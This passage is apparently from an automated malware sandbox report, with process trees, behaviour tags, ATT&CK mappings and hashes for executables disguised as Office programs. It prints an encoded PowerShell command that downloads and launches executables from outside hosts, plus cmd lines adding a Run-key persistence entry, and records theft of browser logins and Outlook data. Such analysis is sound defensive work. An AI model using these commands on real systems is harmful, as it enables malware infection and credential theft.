        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1572
      - C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
        
        C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:516
      - C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
        
        "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3596
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe" "C:\Users\Admin\AppData\Roaming\rtf.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\AppData\Roaming\rtf.exe"
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4824
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 9
        8⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3972
      - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2020
        
        C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        7⤵
        Executes dropped EXE
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        7⤵
        
        PID:4496

C:\Users\Admin\AppData\Roaming\WindowsTime.exe
C:\Users\Admin\AppData\Roaming\WindowsTime.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Users\Admin\AppData\Roaming\WindowsTime.exe
  "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Users\Admin\AppData\Roaming\WindowsTime.exe
  "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFAATwBXAEUAUgBQAE8ASQBOAFQALgBlAHgAZQAnACwAIAA8ACMAcABiAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG4AdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGkAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApACkAPAAjAHUAcwBlACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFcATwBSAEQAUwAuAGUAeABlACcALAAgADwAIwB5AGkAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAZABhACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAcwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcATwBSAEQAUwAuAGUAeABlACcAKQApADwAIwBwAGUAaQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYgBtAGgALQBnAGwAbwBiAGEAbAAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAE4ATwBUAEUAUABBAEQALgBlAHgAZQAnACwAIAA8ACMAcgB5AGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHMAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHMAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBOAE8AVABFAFAAQQBEAC4AZQB4AGUAJwApACkAPAAjAHkAbQBtACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAG0AaAAtAGcAbABvAGIAYQBsAC4AbQB5AGYAaQByAGUAdwBhAGwAbAAuAG8AcgBnAC8ARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwAsACAAPAAjAGMAZQBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB6AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBmAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwApACkAPAAjAGEAeQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAcQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHUAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApADwAIwB1AHoAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB5AHUAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABrAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBPAFIARABTAC4AZQB4AGUAJwApADwAIwB2AHgAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAHIAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABsAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATgBPAFQARQBQAEEARAAuAGUAeABlACcAKQA8ACMAdQBzAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYQBoAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAaQBrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQATwBDAFUATQBFAE4AVAAuAGUAeABlACcAKQA8ACMAdgB3AHoAIwA+AA=="
    3⤵
    - Badlisted process makes network request
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5868
  - - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
      "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3696
    - - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4600
  - - C:\Users\Admin\AppData\Roaming\WORDS.exe
      "C:\Users\Admin\AppData\Roaming\WORDS.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Loads dropped DLL
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        outlook_office_path
        outlook_win_path
        
        PID:3544
  - - C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
      "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:688
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rtf" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\rtf.exe"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:836
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 9
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3464
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rtf" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\rtf.exe"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:5416
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe" "C:\Users\Admin\AppData\Roaming\rtf.exe" && ping 127.0.0.1 -n 13 > nul && "C:\Users\Admin\AppData\Roaming\rtf.exe"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5156
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 13
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5984
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 13
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4836
      - C:\Users\Admin\AppData\Roaming\rtf.exe
        
        "C:\Users\Admin\AppData\Roaming\rtf.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3312
        
        C:\Users\Admin\AppData\Roaming\rtf.exe
        
        "C:\Users\Admin\AppData\Roaming\rtf.exe"
        7⤵
        Executes dropped EXE
        
        PID:5172
  - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
      "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:896
    - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        5⤵
        
        PID:2792

C:\Users\Admin\AppData\Roaming\rtf.exe
C:\Users\Admin\AppData\Roaming\rtf.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1316
- C:\Users\Admin\AppData\Roaming\rtf.exe
  "C:\Users\Admin\AppData\Roaming\rtf.exe"
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Users\Admin\AppData\Roaming\rtf.exe
  "C:\Users\Admin\AppData\Roaming\rtf.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3192

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5112
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WindowsTime.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WindowsTime.exe.log
Size 1KB
SHA256 af207d70281cc3264107da297e00ab97d0af2f055d6065ca5936cf69db6d783f
MD5 7ef67a0a2b1e31df887adcdaf86e4bbd
SHA1 348aad52be33f1a0c477e2ace332ecf91bb0e1a8
SHA512 4ffab7944ec049f2597bda791de5fd3ae3578b03ef019d2222850b8f5a298e3aae8b6e33f71c38e47132d63fb58ab1b03c876b9a01665bc8bbcf01466e7d79e1
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476
MD5 25604a2821749d30ca35877a7669dff9
SHA1 49c624275363c7b6768452db6868f8100aa967be
SHA512 206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 3f30c1f656a6f206d585e5bff69c5981abf4898982b6b74c4427a6030279c318
MD5 8970057724bde0a350b07df646dc0f28
SHA1 9b0aeec453399b0615469aef0a07f32e6447a3cb
SHA512 823de66178e2c3a4e40c48cd15b51a7bc2a5d8417639fc54ef34ed67b02ab62cfc724ce05ebbc4610008af2251a62d107e6a0ae83a695c8a7ca9854536b763bc
SSDEEP 384:Lrf+j8T9i+NKWR6FXfvqwBUvkBo9o2TVK6seYo29W/4O3Sonc3lEFPzm5rUi:ffTE3pvP6syo2TVNo0XSDE9zmt
MD5 SHA1 SHA512 SSDEEP

Submit Download

DOCUMENT.exe

Path C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
Size 5.4MB
SHA256 14dc2355c1cf16454a7d9d85620b50146f19661ac7da488de2bc5f7e55c173f5
MD5 7c6f6887658112433c3812f8e3dcd2a7
SHA1 f7278f3e3fb1e52265b983f7e9b945002c69f58c
SHA512 8fdc4e49ef619917e3b14d601e056c27e4bc3b4839a4b4ddd979db7bce6ced0a790b1287e5d52443b5f72a086019a041d1c7d8a4c66e0be9439cf420e28bc38a
SSDEEP 98304:N/1Q/2vgBxhOk+6vjV3Axc1yQq32yeDGWJ:bvuxhOk+6LqS1yQwnW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 742KB
SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
MD5 544cd51a596619b78e9b54b70088307d
SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_xdu2busp.wom.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdu2busp.wom.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

LoginData

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\UTYICGNC-Admin\LoginData
Size 56KB
SHA256 bb923abf471bb79086ff9ace293602e1ad882d9af7946dda17ff1c3a7e19f45b
MD5 1c832d859b03f2e59817374006fe1189
SHA1 a4994a54e9f46a6c86ff92280c6dabe2bcd4cc42
SHA512 c4d3be414fa5dd30151cde9f6d808d56c26b031ff3f6446d21a15d071053787b6ba337b12909a56af7bb420f858dba5213f08e64ca9f836f52c98a18762b4bef
SSDEEP 96:QkS/KLPeymOcVizhGNOnfXG38tyvFbn8MouB6w9f/nP:04cVizhGNOnu/7Iw9fP
MD5 SHA1 SHA512 SSDEEP

Submit Download

LoginData

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\UTYICGNC-Admin\LoginData
Size 40KB
SHA256 02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba
MD5 ab893875d697a3145af5eed5309bee26
SHA1 c90116149196cbf74ffb453ecb3b12945372ebfa
SHA512 6b65c0a1956ce18df2d271205f53274d2905c803d059a0801bf8331ccaa28a1d4842d3585dd9c2b01502a4be6664bde2e965b15fcfec981e85eed37c595cd6bc
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

WebData

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\UTYICGNC-Admin\WebData
Size 228KB
SHA256 3a07b3003758a79a574aa73032076567870389751f2a959537257070da3a10d8
MD5 ee463e048e56b687d02521cd12788e2c
SHA1 ee26598f8e8643df84711960e66a20ecbc6321b8
SHA512 42b395bf6bd97da800385b9296b63a4b0edd7b3b50dc92f19e61a89235a42d37d204359b57d506e6b25ab95f16625cce035ed3b55ef2d54951c82332498dab0f
SSDEEP 192:J1mo3fT8a0QQnGzaW6qt8K+dJIhPJyiqzX1i+VpdssMV7due8FPu:r73fQrQQnyn6qt8K+dJIhPJyvzl5cYP
MD5 SHA1 SHA512 SSDEEP

Submit Download

WebData

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\UTYICGNC-Admin\WebData
Size 130KB
SHA256 0a1303bb826664abc908c287930fde5d27e17b902bf30cd44f4399aa2ef18f1d
MD5 0b5e3ac85fcd085c065c3416a54b5156
SHA1 3da93abe80f1c43f5f708cbfa5338b09fac10d6a
SHA512 00d03b0b3a8072a06541c0d44fd38acc22c474993ba9be33c701fc1d9c18095f1317f026184797a629bee2b548e1b2712c175564cc19ce6ae05f832913010fe6
SSDEEP 192:4B4BvnXuvkUUo4nVaIvsb5wSjpX6KTUqRVumdR1:yovXuvepnkIvsb5wStrVumdR1
MD5 SHA1 SHA512 SSDEEP

Submit Download

NOTEPAD.exe

Path C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
Size 1.4MB
SHA256 97d1f1c31b94d3159c5c5978a75656b44bd6a62a54ed120e8d4e5f519b6a1c02
MD5 fabf91817db8c0f3e2d4704740b9dad8
SHA1 82fa38ab73e377d804559352e8e32134f9042dc4
SHA512 d87455f63643b01cc275dec61c625a62f73c354d9e49f9afb98ccd9839b5b143dbb40fb57332b19900576009137df62e4966a17024dc721344b927356ab2f3d4
SSDEEP 24576:8Fgb/GiAljl1uxwWA5CnRveYepqMKDmfC4KOSSn2i6SIPf4:8qtOp1qAsRveYkqM3fC41p2r4
MD5 SHA1 SHA512 SSDEEP

Submit Download

POWERPOINT.exe

Path C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
Size 1.1MB
SHA256 8b1eeb6da86924cdf46fcd9fe72e6632f32dfd624938f2346293b8d00e0a9f51
MD5 d7ffa88a605fa2debd11860e755643bb
SHA1 5a945e81399932287e40e3452bfe063a6e868aaf
SHA512 eb334527e5c5a849c327de374f6f3b0291bd4060e5afecbc910b6a81b919fd35a556ee8e9af1023893ad448605e8887381880c2e43dd98af42d471ed33c6b8c8
SSDEEP 24576:XFgb/GiAljl1uxwWAYwfgebYPwd1WJnLUfEY6zI4:XqtOp1qAHYPu10LjDc4
MD5 SHA1 SHA512 SSDEEP

Submit Download

WORDS.exe

Path C:\Users\Admin\AppData\Roaming\WORDS.exe
Size 740KB
SHA256 cc1994d6e8c845affe9ee18bea771db9eb2ac9d7b2cbbabffecb7c2f4d021aec
MD5 5ff19e1e2b4776b84a946a97dbae522e
SHA1 90a154fbbe651cbc93075b68f1b2580095660fe1
SHA512 1f586ba9243fb35678ac99c61e8d41426f1ce2970afe50d3dcbddf42f4d2a85d2d8ef9db745db0a92fe778c472dc4f8955be05685e8680c0b3d84162d5958127
SSDEEP 12288:8xp1iKbDNgFd/GxkAlJX5kcu+FdX1uxwWFEJZaFfPqZpe4:uFgb/GiAljl1uxwWAM6+4
MD5 SHA1 SHA512 SSDEEP

Submit Download

WindowsTime.exe

Path C:\Users\Admin\AppData\Roaming\WindowsTime.exe
Size 698KB
SHA256 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa
MD5 9898b1c4dd84e3820c2a0dd239e204be
SHA1 c865d8e2212b7f111d72f2b295061fe7f0a7baa3
SHA512 fa9f609e167d85cd912c0ce31be68389d626f574becef0a8b8af796c44d174194a43fb7a956ac5584598a29ca958c843a59f7b4f4ecadc7617b95eb68acb86f3
SSDEEP 12288:2ArMDSNgFd/GxkAlJX5kcu+FdX1uxwWFEJqqvqHC54:lFgb/GiAljl1uxwWAqZw4
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/688-92-0x0000000000A20000-0x0000000000B82000-memory.dmp

Download

memory/896-89-0x0000000000390000-0x00000000008FC000-memory.dmp

Download

memory/2020-169-0x0000000006CF0000-0x0000000006D06000-memory.dmp

Download

memory/2968-102-0x00000000063E0000-0x00000000063F6000-memory.dmp

Download

memory/2968-68-0x0000000000140000-0x0000000000200000-memory.dmp

Download

memory/3192-180-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-179-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-178-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-174-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-177-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-170-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3192-173-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/3544-152-0x0000000007BD0000-0x0000000007BE0000-memory.dmp

Download

memory/3544-168-0x0000000008220000-0x00000000083E2000-memory.dmp

Download

memory/3544-146-0x00000000078B0000-0x0000000007A58000-memory.dmp

Download

memory/3544-119-0x00000000005E0000-0x00000000005F2000-memory.dmp

Download

memory/3696-66-0x00000000005B0000-0x00000000006CA000-memory.dmp

Download

memory/3696-105-0x0000000006EF0000-0x0000000006F06000-memory.dmp

Download

memory/3908-17-0x0000000005D40000-0x0000000005D56000-memory.dmp

Download

memory/4012-104-0x00000000065E0000-0x000000000662C000-memory.dmp

Download

memory/4012-99-0x0000000005F20000-0x0000000006274000-memory.dmp

Download

memory/4600-124-0x0000000000400000-0x0000000000444000-memory.dmp

Download

memory/4600-126-0x0000000000400000-0x0000000000444000-memory.dmp

Download

memory/4800-14-0x0000000006DD0000-0x0000000006DD6000-memory.dmp

Download

memory/4800-13-0x0000000006C80000-0x0000000006C96000-memory.dmp

Download

memory/5112-18-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/5132-7-0x0000000005110000-0x0000000005120000-memory.dmp

Download

memory/5132-6-0x00000000053A0000-0x00000000053AA000-memory.dmp

Download

memory/5132-1-0x0000000005420000-0x00000000059C4000-memory.dmp

Download

memory/5132-0-0x0000000000390000-0x0000000000444000-memory.dmp

Download

memory/5132-2-0x0000000004E70000-0x0000000004F02000-memory.dmp

Download

memory/5132-3-0x0000000004F10000-0x0000000004FAC000-memory.dmp

Download

memory/5132-4-0x0000000005110000-0x0000000005120000-memory.dmp

Download

memory/5132-5-0x0000000004DC0000-0x0000000004E02000-memory.dmp

Download

memory/5172-203-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5868-37-0x00000000073C0000-0x0000000007A3A000-memory.dmp

Download

memory/5868-39-0x0000000006DE0000-0x0000000006E76000-memory.dmp

Download

memory/5868-40-0x0000000006D40000-0x0000000006D62000-memory.dmp

Download

memory/5868-25-0x0000000004BC0000-0x0000000004C26000-memory.dmp

Download

memory/5868-24-0x0000000004B20000-0x0000000004B42000-memory.dmp

Download

memory/5868-38-0x00000000060B0000-0x00000000060CA000-memory.dmp

Download

memory/5868-26-0x0000000004C30000-0x0000000004C96000-memory.dmp

Download

memory/5868-22-0x0000000000D50000-0x0000000000D86000-memory.dmp

Download

memory/5868-34-0x0000000005640000-0x0000000005994000-memory.dmp

Download

memory/5868-23-0x0000000005010000-0x0000000005638000-memory.dmp

Download

memory/5868-36-0x0000000005BC0000-0x0000000005C0C000-memory.dmp

Download

memory/5868-35-0x0000000005B70000-0x0000000005B8E000-memory.dmp

Download